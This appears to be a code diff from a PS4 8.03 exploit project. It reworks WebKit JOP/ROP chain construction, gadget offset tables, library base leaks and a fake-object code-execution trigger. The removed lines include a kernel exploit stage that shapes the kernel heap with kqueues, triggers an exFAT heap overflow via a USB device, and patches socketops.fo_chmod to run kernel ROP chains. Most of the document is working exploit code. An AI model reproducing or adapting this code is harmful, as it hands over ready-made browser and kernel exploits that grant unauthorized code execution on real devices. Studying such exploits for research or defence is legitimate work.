-// Since the method of code redirection we used is via redirecting a call to
-// jump to our JOP chain, we have the return address of the caller on entry.
-//
-// jop1 pushed another object (via the call instruction) but we want no extra
-// objects between the return address and the rbp that will be pushed by jop3
-// later. So we pop the return address pushed by jop1.
-//
-// This will make pivoting back easy, just "leave; ret".
-const jop2 = `
-pop rsi
-jmp qword ptr [rax + 0x5f]
-`;
// rbp is now pushed, any extra objects pushed by the call instructions can be
// ignored
-const jop3 = `
+const jop2 = `
push rbp
mov rbp, rsp
mov rax, qword ptr [rdi]
call qword ptr [rax + 0x30]
`;
-const jop4 = `
-mov rdx, qword ptr [rax + 0x18]
-mov rax, qword ptr [rdi]
-call qword ptr [rax + 0x10]
+const jop3 = `
+mov rdx, qword ptr [rdx + 0x50]
+mov ecx, 0xa
+call qword ptr [rax + 0x40]
`;
-const jop5 = `
+const jop4 = `
push rdx
mov edi, 0xac9784fe
jmp qword ptr [rax]
`;
-const jop6 = 'pop rsp; ret';
+const jop5 = 'pop rsp; ret';
// the ps4 firmware is compiled to use rbp as a frame pointer
//
@@ -135,13 +80,6 @@ const jop6 = 'pop rsp; ret';
// leave instruction equivalent:
// mov rsp, rbp
// pop rbp
-const rop_epilogue = 'leave; ret';
-
-const push_rdx_jmp = `
-push rdx
-mov edi, 0xac9784fe
-jmp qword ptr [rax]
-`;
const webkit_gadget_offsets = new Map(Object.entries({
'pop rax; ret' : 0x0000000000035a1b,
@@ -166,66 +104,47 @@ const webkit_gadget_offsets = new Map(Object.entries({
'ret' : 0x0000000000000032,
'leave; ret' : 0x0000000000291fd7,
- 'leave; jmp rcx' : 0x000000000062a061,
- 'neg rax; and rax, rcx; ret' : 0x0000000000e85f24,
- 'adc esi, esi; ret' : 0x000000000088cbb9,
- 'add rax, rdx; ret' : 0x00000000003cd92c,
- 'add rcx, rsi; and rdx, rcx; or rax, rdx; ret' : 0x0000000000b8bc06,
- 'pop rdi; jmp qword ptr [rax + 0x50]' : 0x00000000021f9e8e,
- 'add rax, 8; ret': 0x0000000000468988,
-
- 'mov qword ptr [rdi], rsi; ret' : 0x0000000000034a40,
'mov rax, qword ptr [rax]; ret' : 0x000000000002dc62,
'mov qword ptr [rdi], rax; ret' : 0x000000000005b1bb,
'mov dword ptr [rdi], eax; ret' : 0x000000000001f864,
- 'mov rdx, rcx; ret' : 0x0000000000eae9fd,
- 'mov qword ptr [rdx], rax; mov al, 1; ret' : 0x00000000000b6dcf,
- 'mov rdx, qword ptr [rcx]; ret' : 0x0000000000182bc4,
+ 'mov dword ptr [rax], esi; ret' : 0x00000000002915bc,
- 'cli; jmp qword ptr [rax + 0x43]' : 0x0000000002163442,
- 'sti; ret' : 0x00000000004b94c8,
- 'xchg rbp, rax; ret' : 0x000000000218ef60,
-
- [kjop1] : 0x00000000010da705,
- [k2jop1] : 0x0000000001988320,
-
- [push_rdx_jmp] : 0x00000000021af6ad,
-
- [jop1] : 0x000000000057d568,
- [jop2] : 0x0000000002198221,
- [jop3] : 0x000000000076b970,
- [jop4] : 0x0000000000202698,
- [jop5] : 0x00000000021af6ad,
- [jop6] : 0x00000000000bf669,
+ [jop1] : 0x0000000001988320,
+ [jop2] : 0x000000000076b970,
+ [jop3] : 0x0000000000f62f95,
+ [jop4] : 0x00000000021af6ad,
+ [jop5] : 0x00000000000bf669,
}));
const libc_gadget_offsets = new Map(Object.entries({
- 'neg rax; ret' : 0x00000000000d3503,
- 'mov rdx, rax; xor eax, eax; shl rdx, cl; ret' : 0x00000000000ce436,
- 'mov qword ptr [rsi], rcx; ret' : 0x00000000000cede2,
- 'setjmp' : offset_libc_setjmp,
- 'longjmp' : offset_libc_longjmp,
+ 'getcontext' : 0x258f4,
+ 'setcontext' : 0x29c58,
}));
-const gadgets = new Map();
+const libkernel_gadget_offsets = new Map(Object.entries({
+ // returns the location of errno
+ '__error' : 0x160c0,
+}));
+
+export const gadgets = new Map();
function get_bases() {
const textarea = document.createElement('textarea');
- const webcore_textarea = mem.addrof(textarea).readp(offset_textarea_impl);
+ const webcore_textarea = mem.addrof(textarea).readp(off.jsta_impl);
const textarea_vtable = webcore_textarea.readp(0);
- const libwebkit_base = find_base(textarea_vtable, true, true);
+ const off_ta_vt = 0x236d4a0;
+ const libwebkit_base = textarea_vtable.sub(off_ta_vt);
- const stack_chk_fail_import =
- libwebkit_base
- .add(offset_wk_stack_chk_fail)
- ;
+ const stack_chk_fail_import = libwebkit_base.add(offset_wk_stack_chk_fail);
const stack_chk_fail_addr = resolve_import(stack_chk_fail_import);
- const libkernel_base = find_base(stack_chk_fail_addr, true, true);
+ const off_scf = 0x12a30;
+ const libkernel_base = stack_chk_fail_addr.sub(off_scf);
const strlen_import = libwebkit_base.add(offset_wk_strlen);
const strlen_addr = resolve_import(strlen_import);
- const libc_base = find_base(strlen_addr, true, true);
+ const off_strlen = 0x4eb80;
+ const libc_base = strlen_addr.sub(off_strlen);
return [
libwebkit_base,
@@ -234,232 +153,15 @@ function get_bases() {
];
}
-function init_gadget_map(gadget_map, offset_map, base_addr) {
+export function init_gadget_map(gadget_map, offset_map, base_addr) {
for (const [insn, offset] of offset_map) {
gadget_map.set(insn, base_addr.add(offset));
}
}
class Chain800Base extends ChainBase {
- constructor() {
- super();
-
- // for conditional jumps
- this._clean_branch_ctx();
- this.flag = new Uint8Array(8);
- this.flag_addr = get_view_vector(this.flag);
- this.jmp_target = new Uint8Array(0x100);
- rw.write64(this.jmp_target, 0x50, this.get_gadget(push_rdx_jmp));
- rw.write64(this.jmp_target, 0, this.get_gadget('pop rsp; ret'));
-
- // for save/restore
- this.is_saved = false;
- const jmp_buf_size = 0xc8;
- this.jmp_buf = new Uint8Array(jmp_buf_size);
- this.jmp_buf_p = get_view_vector(this.jmp_buf);
- }
-
- push_write64(addr, value) {
- this.push_gadget('pop rdi; ret');
- this.push_value(addr);
- this.push_gadget('pop rsi; ret');
- this.push_value(value);
- this.push_gadget('mov qword ptr [rdi], rsi; ret');
- }
-
- // sequence to pivot back and return
push_end() {
- this.push_gadget(rop_epilogue);
- }
-
- check_is_branching() {
- if (this.is_branch_ctx) {
- throw Error('chain is still branching, end it before running');
- }
- }
-
- push_value(value) {
- super.push_value(value);
-
- if (this.is_branch_ctx) {
- this.branch_position += 8;
- }
- }
-
- _clean_branch_ctx() {
- this.is_branch_ctx = false;
- this.branch_position = null;
- this.delta_slot = null;
- this.rsp_slot = null;
- this.rsp_position = null;
- }
-
- clean() {
- super.clean();
- this._clean_branch_ctx();
- this.is_saved = false;
- }
-
- // Use start_branch() and end_branch() to delimit a ROP chain that will
- // conditionally execute. rax must be set accordingly before the branch.
- // rax == 0 means execute the conditional chain.
- //
- // example that always execute the conditional chain:
- // chain.push_gadget('mov rax, 0; ret');
- // chain.start_branch();
- // chain.push_gadget('pop rbx; ret'); // always executed
- // chain.end_branch();
- start_branch() {
- if (this.is_branch_ctx) {
- throw Error('chain already branching, end it first');
- }
-
- // clobbers rax, rcx, rdi, rsi
- //
- // u64 flag = 0 if -rax == 0 else 1
- // *flag_addr = flag
- this.push_gadget('pop rcx; ret');
- this.push_constant(-1);
- this.push_gadget('neg rax; ret');
- this.push_gadget('pop rsi; ret');
- this.push_constant(0);
- this.push_gadget('adc esi, esi; ret');
- this.push_gadget('pop rdi; ret');
- this.push_value(this.flag_addr);
- this.push_gadget('mov qword ptr [rdi], rsi; ret');
-
- // clobbers rax, rcx, rdi
- //
- // rax = *flag_addr
- // rcx = delta
- // rax = -rax & rcx
- // *flag_addr = rax
- this.push_gadget('pop rax; ret');
- this.push_value(this.flag_addr);
- this.push_gadget('mov rax, qword ptr [rax]; ret');
-
- // dummy value, overwritten later by end_branch()
- this.push_gadget('pop rcx; ret');
- this.delta_slot = this.position;
- this.push_constant(0);
-
- this.push_gadget('neg rax; and rax, rcx; ret');
- this.push_gadget('pop rdi; ret');
- this.push_value(this.flag_addr);
- this.push_gadget('mov qword ptr [rdi], rax; ret');
-
- // clobbers rax, rcx, rdx, rsi
- //
- // rcx = rsp_position
- // rsi = rsp
- // rcx += rsi
- // rdx = rcx
- //
- // dummy value, overwritten later at the end of start_branch()
- this.push_gadget('pop rcx; ret');
- this.rsp_slot = this.position;
- this.push_constant(0);
-
- this.push_gadget('pop rsi; ret');
- this.push_value(this.stack_addr.add(this.position + 8));
-
- // rsp collected here, start counting how much to perturb rsp
- this.branch_position = 0;
- this.is_branch_ctx = true;
-
- this.push_gadget('add rcx, rsi; and rdx, rcx; or rax, rdx; ret');
- this.push_gadget('mov rdx, rcx; ret');
-
- // clobbers rax
- //
- // rax = *flag_addr
- this.push_gadget('pop rax; ret');
- this.push_value(this.flag_addr);
- this.push_gadget('mov rax, qword ptr [rax]; ret');
-
- // clobbers rax
- //
- // rax += rdx
- // new_rsp = rax
- this.push_gadget('add rax, rdx; ret');
-
- // clobbers rdi
- //
- // for debugging, save new_rsp to flag_addr so we can verify it later
- this.push_gadget('pop rdi; ret');
- this.push_value(this.flag_addr);
- this.push_gadget('mov qword ptr [rdi], rax; ret');
-
- // clobbers rdx, rcx
- //
- // rdx = rax
- this.push_gadget('pop rcx; ret');
- this.push_constant(0);
- this.push_gadget('mov rdx, rax; xor eax, eax; shl rdx, cl; ret');
-
- // clobbers rax, rdx, rdi, rsp
- //
- // rsp = rdx
- this.push_gadget('pop rax; ret');
- this.push_value(get_view_vector(this.jmp_target));
- this.push_gadget('pop rdi; jmp qword ptr [rax + 0x50]');
- this.push_constant(0); // padding for the push
-
- this.rsp_position = this.branch_position;
- rw.write64(this.stack, this.rsp_slot, new Int(this.rsp_position));
- }
-
- end_branch() {
- if (!this.is_branch_ctx) {
- throw Error('can not end nonbranching chain');
- }
-
- const delta = this.branch_position - this.rsp_position;
- rw.write64(this.stack, this.delta_slot, new Int(delta));
- this._clean_branch_ctx();
- }
-
- // clobbers rax, rdi, rsi
- push_save() {
- if (this.is_saved) {
- throw Error('restore first before saving again');
- }
- this.push_call(this.get_gadget('setjmp'), this.jmp_buf_p);
- this.is_saved = true;
- }
-
- // Force a push_restore() if at runtime you can ensure the save/restore
- // pair line up.
- push_restore(is_force=false) {
- if (!this.is_saved && !is_force) {
- throw Error('save first before restoring');
- }
- // modify jmp_buf.rsp
- this.push_gadget('pop rax; ret');
- const rsp_slot = this.position;
- // dummy value, overwritten later at the end of push_restore()
- this.push_constant(0);
- this.push_gadget('pop rdi; ret');
- this.push_value(this.jmp_buf_p.add(0x38));
- this.push_gadget('mov qword ptr [rdi], rax; ret');
-
- // modify jmp_buf.return_address
- this.push_gadget('pop rax; ret');
- this.push_value(this.get_gadget('ret'));
- this.push_gadget('pop rdi; ret');
- this.push_value(this.jmp_buf_p.add(0x80));
- this.push_gadget('mov qword ptr [rdi], rax; ret');
-
- this.push_call(this.get_gadget('longjmp'), this.jmp_buf_p);
-
- // Padding as longjmp() pushes the rdi and return address in the
- // jmp_buf at the target rsp.
- this.push_constant(0);
- this.push_constant(0);
- const target_rsp = this.stack_addr.add(this.position);
-
- rw.write64(this.stack, rsp_slot, target_rsp);
- this.is_saved = false;
+ this.push_gadget('leave; ret');
}
push_get_retval() {
@@ -468,821 +170,90 @@ class Chain800Base extends ChainBase {
this.push_gadget('mov qword ptr [rdi], rax; ret');
}
- call(...args) {
- if (this.position !== 0) {
- throw Error('call() needs an empty chain');
- }
- this.push_call(...args);
- this.push_get_retval();
- this.push_end();
- this.run();
- this.clean();
+ push_get_errno() {
+ this.push_gadget('pop rdi; ret');
+ this.push_value(this.errno_addr);
- return this.return_value;
+ this.push_call(this.get_gadget('__error'));
+
+ this.push_gadget('mov rax, qword ptr [rax]; ret');
+ this.push_gadget('mov dword ptr [rdi], eax; ret');
}
- syscall(...args) {
- if (this.position !== 0) {
- throw Error('syscall() needs an empty chain');
- }
- this.push_syscall(...args);
- this.push_get_retval();
- this.push_end();
- this.run();
- this.clean();
-
- return this.return_value;
+ push_clear_errno() {
+ this.push_call(this.get_gadget('__error'));
+ this.push_gadget('pop rsi; ret');
+ this.push_value(0);
+ this.push_gadget('mov dword ptr [rax], esi; ret');
}
}
-// helper object for ROP
-const rop_ta = document.createElement('textarea');
-
-// Chain for PS4 8.03
-class Chain800 extends Chain800Base {
+export class Chain800 extends Chain800Base {
constructor() {
super();
-
- // sizeof JSC:JSObject, the JSCell + the butterfly field
- const js_size = 0x10;
- // sizeof WebCore::JSHTMLTextAreaElement, subclass of JSObject
- const js_ta_size = 0x20;
- // start of the array of inline properties (JSValues)
- const offset_js_inline_prop = 0x10;
- // Sizes may vary between webkit versions so we just assume a size
- // that we think is large enough for all of them.
- const vtable_size = 0x1000;
- const webcore_ta_size = 0x180;
-
- // Empty objects have 6 inline properties that are not inspected by the
- // GC. This gives us 48 bytes of free space that we can write with
- // anything.
- const ta_clone = {};
- this.ta_clone = ta_clone;
- const clone_p = mem.addrof(ta_clone);
- const ta_p = mem.addrof(rop_ta);
-
- // Copy the contents of the textarea before copying the JSCell. As long
- // the JSCell is of an empty object, the GC will not inspect the inline
- // storage.
- //
- // MarkedBlocks serve memory in fixed-size chunks (cells). The chunk
- // size is also called the cell size. Even if you request memory whose
- // size is less than a cell, the entire cell is allocated for the
- // object.
- //
- // The cell size of the MarkedBlock where the empty object is allocated
- // is atleast 64 bytes (enough to fit the empty object). So even if we
- // change the JSCell later and the perceived size of the object
- // (js_ta_size) is less than 64 bytes, we don't have to worry about the
- // memory area between clone_p + js_ta_size and clone_p + cell_size
- // being freed and reused because the entire cell belongs to the object
- // until it dies.
- for (let i = js_size; i < js_ta_size; i += 8) {
- clone_p.write64(i, ta_p.read64(i));
- }
-
- // JSHTMLTextAreaElement is a subclass of JSC::JSDestructibleObject and
- // thus they are allocated on a MarkedBlock with special attributes
- // that tell the GC to have their destructor clean their storage on
- // their death.
- //
- // The destructor in this case will destroy m_wrapped since they are a
- // subclass of WebCore::JSDOMObject as well.
- //
- // What's great about the clones (initially empty objects) is that they
- // are instances of JSC::JSFinalObject. That type doesn't have a
- // destructor and so they are allocated on MarkedBlocks that don't need
- // destruction.
- //
- // So even if a clone dies, the GC will not look for a destructor and
- // try to run it. This means we can fake m_wrapped and not fear of any
- // sort of destructor being called on it.
-
- const webcore_ta = ta_p.readp(offset_textarea_impl);
- const m_wrapped_clone = new Uint8Array(
- make_buffer(webcore_ta, webcore_ta_size)
- );
- this.m_wrapped_clone = m_wrapped_clone;
-
- // Replicate the vtable as much as possible or else the garbage
- // collector will crash. It uses functions from the vtable.
- //
- // There is no need to restore the original vtable pointer later since
- // it points to a copy with only offset 0x1c8 changed. The scrollLeft
- // getter is not used by the GC.
- const vtable_clone = new Uint8Array(
- make_buffer(webcore_ta.readp(0), vtable_size)
- );
- this.vtable_clone = vtable_clone
-
- clone_p.write64(
- offset_textarea_impl,
- get_view_vector(m_wrapped_clone),
- );
- rw.write64(m_wrapped_clone, 0, get_view_vector(vtable_clone));
-
- // turn the empty object into a textarea (copy JSCell header)
- //
- // Don't need to copy the butterfly since it's by default NULL and it
- // doesn't have any special meaning for the JSHTMLTextAreaObject type,
- // unlike other types that uses it for something else.
- //
- // An example is a JSArrayBufferView with m_mode >= WastefulTypedArray,
- // their *(butterfly - 8) is a pointer to a JSC::ArrayBuffer.
- clone_p.write64(0, ta_p.read64(0));
-
- // 0x1c8 is the offset of the scrollLeft getter native function
- rw.write64(vtable_clone, 0x1c8, this.get_gadget(jop1));
-
- // for the JOP chain
- const rax_ptrs = new Uint8Array(0x100);
- const rax_ptrs_p = get_view_vector(rax_ptrs);
- this.rax_ptrs = rax_ptrs;
-
- rw.write64(rax_ptrs, 0x28, this.get_gadget(jop2));
- rw.write64(rax_ptrs, 0x5f, this.get_gadget(jop3));
- rw.write64(rax_ptrs, 0x30, this.get_gadget(jop4));
- rw.write64(rax_ptrs, 0x10, this.get_gadget(jop5));
- rw.write64(rax_ptrs, 0, this.get_gadget(jop6));
- // value to pivot rsp to
- rw.write64(rax_ptrs, 0x18, this.stack_addr);
-
- const jop_buffer = new Uint8Array(8);
- const jop_buffer_p = get_view_vector(jop_buffer);
- this.jop_buffer = jop_buffer;
-
- rw.write64(jop_buffer, 0, rax_ptrs_p);
-
- // Write the needed data by the JOP chain (mov rdi, qword ptr [rsi +
- // 0x20]) at offset 0x20 (3rd inline property of the empty object) from
- // the address of the cloned textarea.
- //
- // We could have passed the data by another offset like via the
- // m_classInfo field ([rsi + 0x10]) but the contents of a
- // JSHTMLTextAreaElement is not safe to change since it is used by the
- // GC. Even if we restore them immediately, there is a small time frame
- // where the GC could use the invalid contents.
- clone_p.write64(offset_js_inline_prop + 8*2, jop_buffer_p);
+ const [rdx, rdx_bak] = mem.gc_alloc(0x58);
+ rdx.write64(off.js_cell, this._empty_cell);
+ rdx.write64(0x50, this.stack_addr);
+ this._rsp = mem.fakeobj(rdx);
}
run() {
- this.check_stale();
- this.check_is_empty();
- this.check_is_branching();
-
- // jump to JOP chain
- this.ta_clone.scrollLeft;
+ this.check_allow_run();
+ this._rop.launch = this._rsp;
+ this.dirty();
}
}
-const Chain = Chain800;
-function init(Chain) {
+export const Chain = Chain800;
+
+export function init(Chain) {
+ const syscall_array = [];
[libwebkit_base, libkernel_base, libc_base] = get_bases();
init_gadget_map(gadgets, webkit_gadget_offsets, libwebkit_base);
init_gadget_map(gadgets, libc_gadget_offsets, libc_base);
+ init_gadget_map(gadgets, libkernel_gadget_offsets, libkernel_base);
init_syscall_array(syscall_array, libkernel_base, 300 * KB);
- debug_log('syscall_array:');
- debug_log(syscall_array);
+
+ let gs = Object.getOwnPropertyDescriptor(window, 'location').set;
+ // JSCustomGetterSetter.m_getterSetter
+ gs = mem.addrof(gs).readp(0x28);
+
+ // sizeof JSC::CustomGetterSetter
+ const size_cgs = 0x18;
+ const [gc_buf, gc_back] = mem.gc_alloc(size_cgs);
+ mem.cpy(gc_buf, gs, size_cgs);
+ // JSC::CustomGetterSetter.m_setter
+ gc_buf.write64(0x10, get_gadget(gadgets, jop1));
+
+ const proto = Chain.prototype;
+ // _rop must have a descriptor initially in order for the structure to pass
+ // setHasReadOnlyOrGetterSetterPropertiesExcludingProto() thus forcing a
+ // call to JSObject::putInlineSlow(). putInlineSlow() is the code path that
+ // checks for any descriptor to run
+ //
+ // the butterfly's indexing type must be something the GC won't inspect
+ // like DoubleShape. it will be used to store the JOP table's pointer
+ const _rop = {get launch() {throw Error('never call')}, 0: 1.1};
+ // replace .launch with the actual custom getter/setter
+ mem.addrof(_rop).write64(off.js_inline_prop, gc_buf);
+ proto._rop = _rop;
+
+ // JOP table
+ const rax_ptrs = new BufferView(0x100);
+ const rax_ptrs_p = get_view_vector(rax_ptrs);
+ proto._rax_ptrs = rax_ptrs;
+
+ rax_ptrs.write64(0x70, get_gadget(gadgets, jop2));
+ rax_ptrs.write64(0x30, get_gadget(gadgets, jop3));
+ rax_ptrs.write64(0x40, get_gadget(gadgets, jop4));
+ rax_ptrs.write64(0, get_gadget(gadgets, jop5));
+
+ const jop_buffer_p = mem.addrof(_rop).readp(off.js_butterfly);
+ jop_buffer_p.write64(0, rax_ptrs_p);
+
+ const empty = {};
+ proto._empty_cell = mem.addrof(empty).read64(off.js_cell);
+
Chain.init_class(gadgets, syscall_array);
}
-
-function test_rop(Chain) {
- const jmp_buf = new Uint8Array(jmp_buf_size);
- const jmp_buf_p = get_view_vector(jmp_buf);
-
- init(Chain);
-
- setjmp_addr = gadgets.get('setjmp');
- longjmp_addr = gadgets.get('longjmp');
-
- const chain = new Chain();
- // Instead of writing to the jmp_buf, set rax here so it will be restored
- // as the return value after the longjmp().
- chain.push_gadget('pop rax; ret');
- chain.push_constant(1);
- chain.push_call(setjmp_addr, jmp_buf_p);
-
- chain.start_branch();
-
- debug_log(`if chain addr: ${chain.stack_addr.add(chain.position)}`);
- chain.push_call(longjmp_addr, jmp_buf_p);
-
- chain.end_branch();
-
- debug_log(`endif chain addr: ${chain.stack_addr.add(chain.position)}`);
- chain.push_end();
-
- // The ROP chain is a noop. If we crashed, then we did something wrong.
- alert('chain run');
- debug_log('test call setjmp()/longjmp()');
- chain.run()
- alert('returned successfully');
- debug_log('returned successfully');
- debug_log('jmp_buf:');
- debug_log(jmp_buf);
- debug_log(`flag: ${rw.read64(chain.flag, 0)}`);
-
- const state1 = new Uint8Array(8);
- debug_log('test if rax == 0');
- chain.clean();
-
- chain.push_gadget('pop rsi; ret');
- chain.push_value(get_view_vector(state1));
- chain.push_save();
- chain.push_gadget('pop rax; ret');
- chain.push_constant(0);
-
- chain.start_branch();
- chain.push_restore();
-
- chain.push_gadget('pop rcx; ret');
- chain.push_constant(1);
- chain.push_gadget('mov qword ptr [rsi], rcx; ret');
- chain.push_end();
-
- chain.end_branch();
-
- chain.push_restore(true);
- chain.push_gadget('pop rcx; ret');
- chain.push_constant(2);
- chain.push_gadget('mov qword ptr [rsi], rcx; ret');
- chain.push_end();
-
- chain.run();
- debug_log(`state1 must be 1: ${state1}`);
- if (state1[0] !== 1) {
- die('if branch not taken');
- }
-
- const state2 = new Uint8Array(8);
- debug_log('test if rax != 0');
- chain.clean();
-
- chain.push_gadget('pop rsi; ret');
- chain.push_value(get_view_vector(state2));
- chain.push_save();
- chain.push_gadget('pop rax; ret');
- chain.push_constant(1);
-
- chain.start_branch();
- chain.push_restore();
-
- chain.push_gadget('pop rcx; ret');
- chain.push_constant(1);
- chain.push_gadget('mov qword ptr [rsi], rcx; ret');
- chain.push_end();
-
- chain.end_branch();
-
- chain.push_restore(true);
- chain.push_gadget('pop rcx; ret');
- chain.push_constant(2);
- chain.push_gadget('mov qword ptr [rsi], rcx; ret');
- chain.push_end();
-
- chain.run();
- debug_log(`state2 must be 2: ${state2}`);
- if (state2[0] !== 2) {
- die('if branch taken');
- }
-
- debug_log('test syscall getuid()');
- chain.clean();
- // Set the return value to some random value. If the syscall worked, then
- // it will likely change.
- const magic = 0x4b435546;
- rw.write32(chain._return_value, 0, magic);
-
- const res = chain.syscall('getuid');
-
- debug_log(`return value: ${res}`);
- if (res.eq(magic)) {
- die('syscall getuid failed');
- }
-}
-
-function mlock_gadgets(gadgets) {
- const chain = new Chain();
-
- for (const [gadget, addr] of gadgets) {
- // change this if you use longer gadgets
- const max_gadget_length = 0x50;
- chain.push_syscall('mlock', addr, max_gadget_length);
- }
- chain.push_end();
- chain.run();
- chain.clean();
-}
-
-function mlock_kchain(kchain) {
- const chain = new Chain();
- const stack_buffer = kchain.stack_buffer;
- const stack_buffer_p = get_view_vector(new Uint8Array(stack_buffer));
- // have a view point to the buffer of stack_buffer
- chain.syscall('mlock', stack_buffer_p, stack_buffer.byteLength);
- chain.syscall('mlock', kchain.retval_addr, kchain._return_value.length);
- chain.syscall('mlock', kchain.jmp_buf_p, kchain.jmp_buf.length);
-}
-
-// pivots back to the original kernel stack with interrupts enabled
-function push_krop_end(kchain) {
- // leave
- // jmp gadgets['sti; ret']
- kchain.push_gadget('pop rcx; ret');
- kchain.push_value(kchain.get_gadget('sti; ret'));
- kchain.push_gadget('leave; jmp rcx');
-}
-
-// The initial kernel patch will be to modify socketops.fo_chmod so that we can
-// run later kernel code via calling fchmod() on a socket descriptor.
-function prepare_knote(kchain) {
- const chain = new Chain();
- const size = 0x4000;
- // PROT_READ | PROT_WRITE
- const prot_rw = 3;
- const MAP_ANON = 0x1000;
- const MAP_FIXED = 0x10;
-
- const mmap_area = new Addr(
- chain.syscall(
- 'mmap',
- 0x4000,
- size,
- prot_rw,
- MAP_ANON | MAP_FIXED,
- -1,
- 0,
- )
- );
-
- const knote = mmap_area;
-
- debug_log(`knote addr: ${knote}`);
- if (!knote.eq(0x4000)) {
- die('mmap() failed');
- }
-
- const filterops = mmap_area.add(0x200);
- const jop_buffer = mmap_area.add(0x1000);
- const rax_ptrs = mmap_area.add(0x1008);
- // scratch area used later
- const scratch = mmap_area.add(0x2000);
-
- const offset_kn_fop = 0x68;
- knote.write64(0, jop_buffer);
- knote.write64(offset_kn_fop, filterops);
-
- const offset_f_detach = 0x10;
- filterops.write64(offset_f_detach, kchain.get_gadget(kjop1));
-
- jop_buffer.write64(0, rax_ptrs);
-
- // for the kernel JOP chain
- rax_ptrs.write64(0xe0, kchain.get_gadget(jop3));
- rax_ptrs.write64(0x30, kchain.get_gadget(jop4));
- rax_ptrs.write64(0x10, kchain.get_gadget(jop5));
- // We need to cli before the pivot (to a user mode rsp) and to sti after
- // the back pivot (the system needs to handle interrupts after all).
- //
- // Since ps4 5.00, a pseudo-SMAP mitigation has been employed. The thread
- // scheduler checks if the stack pointer of a kernel thread is pointing to
- // kernel memory, if not, crash the system.
- rax_ptrs.write64(0, kchain.get_gadget('cli; jmp qword ptr [rax + 0x43]'));
- rax_ptrs.write64(0x43, kchain.get_gadget(jop6));
- // value to pivot rsp to
- rax_ptrs.write64(0x18, kchain.stack_addr);
-
- // * there are 2 calls to f_detach() in kqueue_close()
- // * offset relative to the return address of the first f_detach()
- // * epi = address of the epilogue of kqueue_close()
- // kqueue_close() epilogue
- const offset_kqueue_close_epi = 689;
- // offset relative to epi
- const offset_socketops = 0x179f39f;
-
- // get kernel stack pointer
- kchain.push_gadget('xchg rbp, rax; ret');
- // ret_addr = *(rbp + 8)
- kchain.push_gadget('add rax, 8; ret');
- kchain.push_get_retval();
- kchain.push_gadget('mov rax, qword ptr [rax]; ret');
- // ret_addr += offset_kqueue_close_epi
- kchain.push_gadget('pop rdx; ret');
- kchain.push_constant(offset_kqueue_close_epi);
- kchain.push_gadget('add rax, rdx; ret');
- // modify return address to jump to the epilogue
- // *(rbp + 8) = ret_addr
- kchain.push_gadget('pop rcx; ret');
- kchain.push_value(kchain.retval_addr);
- kchain.push_gadget('mov rdx, qword ptr [rcx]; ret');
- // save rax as it will get clobbered and we still need it
- // currently, rax = epi
- kchain.push_get_retval();
- kchain.push_gadget('mov qword ptr [rdx], rax; mov al, 1; ret');
-
- // restore rbp
- kchain.push_gadget('pop rax; ret');
- kchain.push_constant(-8);
- kchain.push_gadget('add rax, rdx; ret');
- kchain.push_gadget('xchg rbp, rax; ret');
-
- // restore rax
- kchain.push_gadget('pop rax; ret');
- kchain.push_value(kchain.retval_addr);
- kchain.push_gadget('mov rax, qword ptr [rax]; ret');
-
- // socketops.fo_chmod = k2jop1
- kchain.push_gadget('pop rdx; ret');
- kchain.push_constant(offset_socketops + 0x40);
- kchain.push_gadget('add rax, rdx; ret');
- // also saves a kernel address (&socketops.fo_chmod)
- kchain.push_get_retval();
- kchain.push_gadget('pop rcx; ret');
- kchain.push_value(kchain.retval_addr);
- kchain.push_gadget('mov rdx, qword ptr [rcx]; ret');
- kchain.push_gadget('pop rax; ret');
- kchain.push_value(kchain.get_gadget(k2jop1));
- kchain.push_gadget('mov qword ptr [rdx], rax; mov al, 1; ret');
-
- // We'll check address 0x4000 later as an additional test to see if the
- // kchain ran.
- kchain.push_gadget('pop rdi; ret');
- kchain.push_constant(0x4000);
- kchain.push_gadget('pop rsi; ret');
- kchain.push_constant('0xdeadbeefbeefdead');
- kchain.push_gadget('mov qword ptr [rdi], rsi; ret');
-
- push_krop_end(kchain);
-
- chain.syscall('mlock', knote, size);
-
- // the mmaped area will be reused for the fchmod() kernel ROP chain
- return [mmap_area, size, jop_buffer, rax_ptrs, scratch];
-}
-
-// malloc/free until the heap is shaped in a certain way, such that the exFAT
-// heap oveflow bug overwrites a struct klist
-function trigger_oob(kchain, mmap_area) {
- const chain = new Chain();
-
- const num_kqueue = 0x1b0;
- const kqueues = new Uint32Array(num_kqueue);
- const kqueues_p = get_view_vector(kqueues);
-
- for (let i = 0; i < num_kqueue; i++) {
- chain.push_syscall('kqueue');
- chain.push_gadget('pop rdi; ret');
- chain.push_value(kqueues_p.add(i * 4));
- chain.push_gadget('mov dword ptr [rdi], eax; ret');
- }
- chain.push_end();
- chain.run();
- chain.clean();
-
- const AF_INET = 2;
- const SOCK_STREAM = 1;
- // socket file descriptor
- const sd = chain.syscall('socket', AF_INET, SOCK_STREAM, 0);
- // We suspect why they want a specific file descriptor is because
- // kqueue_expand() allocates memory whose size depends on the file
- // descriptor number.
- //
- // The specific malloc size is probably a part in their method in shaping
- // the heap.
- //
- // socket() returns an int (32-bit signed integer)
- // if sd.high() !== 0, socket() returned an error
- if (sd.low() < 0x100 || sd.low() >= 0x200 || sd.high() !== 0) {
- die(`invalid socket: ${sd}`);
- }
- debug_log(`socket descriptor: ${sd}`);
-
- // spray kevents
- const kevent = new Uint8Array(0x20);
- const kevent_p = get_view_vector(kevent);
- kevent_p.write64(0, sd);
- // EV_ADD and EVFILT_READ
- kevent_p.write32(0x8, 0x1ffff);
- kevent_p.write32(0xc, 0);
- kevent_p.write64(0x10, Int.Zero);
- kevent_p.write64(0x18, Int.Zero);
-
- for (let i = 0; i < num_kqueue; i++) {
- // nchanges == 1, everything else is NULL/0
- chain.push_syscall('kevent', kqueues[i], kevent_p, 1, 0, 0, 0);
- }
- chain.push_end();
- chain.run();
- chain.clean();
-
- // fragment memory
- for (let i = 18; i < num_kqueue; i += 2) {
- chain.push_syscall('close', kqueues[i]);
- }
- chain.push_end();
- chain.run();
- chain.clean();
-
- // trigger OOB
- alert('insert USB');
-
- // trigger corrupt knote
- for (let i = 1; i < num_kqueue; i += 2) {
- chain.push_syscall('close', kqueues[i]);
- }
- chain.push_end();
- chain.run();
- chain.clean();
-
- const kretval = kchain.return_value;
- debug_log(`kchain retval: ${kretval}`);
- debug_log(kchain.jmp_buf);
- const check = mmap_area.read64(0);
- debug_log(check);
- if (kretval.eq(0)) {
- die('heap overflow failed');
- }
- debug_log('kernel ROP chain ran successfully');
- kchain.clean();
-
- // reuse sd for the fchmod() kernel ROP chain
- return [sd, kretval];
-}
-
-// socketops.fo_chmod() was previously invfo_chmod(), which just returned
-// EINVAL
